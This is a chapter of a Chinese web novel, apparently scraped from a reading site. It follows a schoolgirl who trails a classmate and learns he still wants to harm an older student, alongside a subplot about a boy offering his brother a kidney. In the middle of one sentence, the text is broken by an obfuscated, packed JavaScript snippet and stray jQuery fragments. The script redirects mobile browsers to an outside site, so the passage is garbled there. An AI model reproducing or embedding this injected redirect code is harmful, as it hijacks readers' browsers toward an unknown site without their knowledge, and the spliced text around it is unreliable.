究竟是哪里不对劲?
姜晴靠在墙角,探头看向前方。
男生熟练地绕道,步伐不紧不慢,在所有躲避这场突如其来降雨行色匆匆的人群中格外显眼。
他走了很长一段路,从天色既晚走到了华灯初亮,从灯火通明走到了几点零星,从倾盆大雨走到了雨声渐小,就在姜晴怀疑李亮要走到天荒地老的时候,男生突然调转了方向。
他进了一家小型超市,隔着透明橱窗依稀能看见男生在货架间穿行的身影。
眼看着人出来,她连忙躲在广告牌后面,等待了一会儿,才悄悄往外探了一眼。
李亮坐在超市外摆放的椅子上,身体放松,慢条斯理地拆着手里的饭团外包装。
姜晴:……
这人总不会大老远跑到这鸟不拉屎的地方就为了买个饭团吃吧。
那饭团该有多美味,美味到李亮都吃坏了脑子,现在这个兵荒马乱的时间节点还有心情啃饭团。
她暗自腹诽,却忽然听见男生问。
“要一起吃吗?”
姜晴瞬间屏住呼吸,把自己的身形一缩再缩。
”姜晴,”李亮看向广告牌后面,“我应该没叫错吧?”
他一字一句叫得清楚,连音调都发得异常标准,以至于姜晴没办法再自欺欺人地藏下去。
她慢慢探出一个小脑瓜,对上李亮的视线,讪笑:“好巧。”
“是很巧,”李亮点头,他举起桌子上包装完好的饭团,“一起吃?”
姜晴这才发现李亮一开始就买了两个饭团,她在这一时刻忽然明白了,李亮早就察觉到了她的跟踪。
但为什么不拆穿?
姜晴攥紧手里的手机,选择迈步。
李亮见状唇角笑意加深,将饭团推过去,“辣白菜口味的,你应该会喜欢。”
姜晴坐下去的动作倏然顿住。
“很惊讶?”李亮挑眉看向姜晴。
姜晴却在这个时候忽然想起了九年后的李青云,他也曾一字一句地复述过她的喜好。
以李青云和李亮的关系,如今的他知道也不是很奇怪。
她摇摇头,浅尝了一口饭团,饭团是加热过的,带着米饭的香味和微辣口感。
“谢谢,”她看向李亮,“很好吃。”
李亮闻言惊讶看向对面坐着的女孩,“你和江轻,确实是不一样的人。”
姜晴:“又不是一个人,当然不一样。”
就算两个人的名字再相似,也不是同一个人,李亮讶异的表情就好像他第一次意识到这件事一样。
“你这里……”姜晴指指自己的脑瓜,“检查过吗?”
她现在是真怀疑对方脑子有毛病了。
李亮莫名停顿片刻,他认真解释,“我是三中年级前十,每一次考试都是。”
“哦。”姜晴的反应很平淡,任谁和一个常年年级第一选手坐在一起当同桌,都会像她现在这样麻木的。
脑子不好的人都能考这么好,这世界上多她一个学习好的怎么啦?
怎、么、啦!
世界静音,请聆听她破防的声音。
李亮被姜晴不咸不淡地反应给噎到了,他的解释好像解释了又好像没解释。
沉默中,就见女孩抬眼,神色严肃,态度认真。
“我能问你一个问题吗?”她说。
李亮的目光落到姜晴被桌子遮住的左手,“又要录音?”
姜晴:“……如果你不介意的话。”
她将手机放在桌上,屏幕正亮着光,清晰地显示着已经记录了十分钟录音,而且现在仍在计时。
“反正你的事情现在已经闹得人尽皆知了,再多录一点也没什么差别,”姜晴无所谓地收起手机,“如果你介意,那我就不录了。”
才怪!
“你还真是……”李亮思考着合适的形容,他说,“坦诚的可怕。”
姜晴眨巴眼睛:“所以……”
李亮抬头,淅沥的小雨仍旧有一阵没一阵地下着,乌云遮蔽,看不清月亮的踪影。也许,今天就是个无月的夜。
他将视线重新落回对面的女孩身上,“你随意。”
姜晴瞳孔都有一瞬睁圆,她试探地将手机放在自己这一侧的桌角,见男生没什么反应,这才终于相信,他是真不介意。
“在经历了这一切后,你还会想伤害江轻学姐吗?”她随意挑了一个问题。
既然能让她录音,就说明男生接下来说的一切都是假话,没什么再交谈的必要了。
但没想到,她在下一秒竟然听见了毫不犹豫的“会”字。
“什么?”姜晴怀疑自己耳朵听错了。
李亮好脾气地重复,“我说,会。”
“我想伤害江轻的念头,从未停止过。”
姜晴第一反应就是看向桌子上亮起的手机屏幕。那里的计时还在一分一秒忠实地记录着,从未中断。
她猛然抬头看向对面的男生,浑身生起恶寒。
——
江轻是被一通电话叫出去的。
看着窗外深沉的夜色,江宇像个小尾巴缀在江轻身后,“这么晚了还要出去,外面还在下雨。”
“没事,”江轻低头换鞋,“雨已经很小了。”
江宇拽住她的衣服,“明天就要高考了,你一定要出去吗?”
江轻轻轻地揉了揉弟弟的脑袋,语气却是坚定的,“我很快回来。”
江宇拗不过姐姐,只好目送她离开,他不放心地嘱咐,“下大雨了和我打电话,我去接你。”
江轻回头,招手,“知道了,你快回去吧,别感冒了。”
同一时刻,李青云骑了一辆摩托车出门。
张代琴倚着大门,忧心忡忡,“别一会儿又下大了,要不你别去了,或者坐车去也行。”
李青云拍拍身后座椅,“我带了雨衣,摩托车速度很快的。”
他抬头看了看天,没月亮,没星星,看不出未来的天色。
他收回视线,“要是下太大,我就把摩托车停在路边车棚里,等天晴了再骑回来。”
摩托车轰鸣声乍响,尾气突突直冒,李青云很快消失在巷尾。
张代琴遥遥叮嘱,“骑慢点,路上注意安全。”
“知——道——啦。”
小巷里回荡起一圈圈的回音。
——
“为什么?”
姜晴不明白,“你为什么非要和江轻过不去?”
李青云和江轻有仇她能理解,但李亮呢?他为什么比李青云的反应还要强烈,像是怀揣着无人可知的恨,深埋地下,却从未消减一丝一毫。
不见血就绝不收刃。
李亮抬眸,“她害死了我爸。”
“你爸?”姜晴陷入茫然,李明城死了吗?什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423646|184832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候死的?
“我爸,李国鸿。”
姜晴:???
她嘴巴张圆,震惊极了,“你和李青云是同父异母的亲兄弟!?”
“这事李青云知道吗?”她忙不迭地追问,“你妈知道吗?李青云她妈知道吗?”
李亮脸部肌肉不易察觉地抽搐了一下,他木着一张脸,“……异父异母的兄弟。”
姜晴受到惊吓的小心脏这才恢复正常,她干巴巴地应了一声,“这……这样啊,不好意思。”
“十岁之前,我叫他爸爸,”李亮选择性忽略眼前女孩的反应,“十岁之后,他们都让我改口叫他小姨夫。”
“可是凭什么?”
这个问题困扰了李亮很多年。
“凭什么他们不想要孩子的时候,就可以像送小狗一样轻易地送出去,想要了又能不管不顾地抢回来。”
“凭什么?”他像是在问姜晴,也像是在问自己。
——
陈衡午夜梦回间无数次都想冲出去站在人前问一问。
凭什么他生下来就是附庸,凭什么他整个人生都要被计划着围绕陈旭而转,凭什么他就只能是权衡利弊下的选择。
嘴巴张开多少次,就又合上了多少次。
他强迫自己不要去想,强迫自己不要去问,但陈衡心里比谁都清楚,逃避只不过是因为惧怕更加残酷的真相。
他害怕从家人那里听到答案。
在一夜又一夜的失眠中,最后陈衡选择了远离。
只要远离,他就能假装自己是自由的。
但姜姜说得对,他其实从没正视过自己的内心,也从未真正地看清过自己。
他表面潇洒下埋藏的是自我封闭,自我愚昧。
如果不能直视过去,又何谈未来。
陈衡那天站在原地想了很久,医学,对于他来说是什么?
过去的他答不出来,但此刻的他能很笃定地说。
是一见倾心,是不由自主地被吸引。
恍惚间陈衡想起了林南延曾对他的那句话,喜欢就是喜欢,无关其他。
他喜欢医学,无关其他。
男生眼里闪着从未出现的耀眼的光,发自内心地想真正地为自己活一次。
他找到了更有意义更有价值的事,并做好了为之奋斗一生的准备。
那些纷杂的、晦涩的、绊脚的、冗余的情绪,再也困不住他了。
从此以后,天高海阔任鸟飞。
陈衡眉眼张扬,带着意气风发,带着洒脱释然。
“一年后,我成年之后会把一颗肾捐给陈旭,条件是——”
男生嗓音沉沉,“以后你们非必要,不要再来打扰我。”
没了那可有可无的肾脏,他陈衡照样能健健康康地投身医学事业。
不被正视,他陈衡也会活得精彩,不需旁人见证。
笔直的公路上,一辆黑色小轿车疾驰着。
车内坐着三个人,主驾的钱莹正在查看地图,她不大熟悉江原这一段的路况。
被忽然冒出的冷沉声音吓了一大跳,她条件反射皱眉,“好好说话,别阴阳怪气!”
话出口,钱莹才意识到不对。
“你说什么?”她再次确认,“我刚才好像幻听了,你说你要做什么?”
陈旭表情空白地看向陈衡,呆呆应声:“衡衡说要捐给我一颗肾。”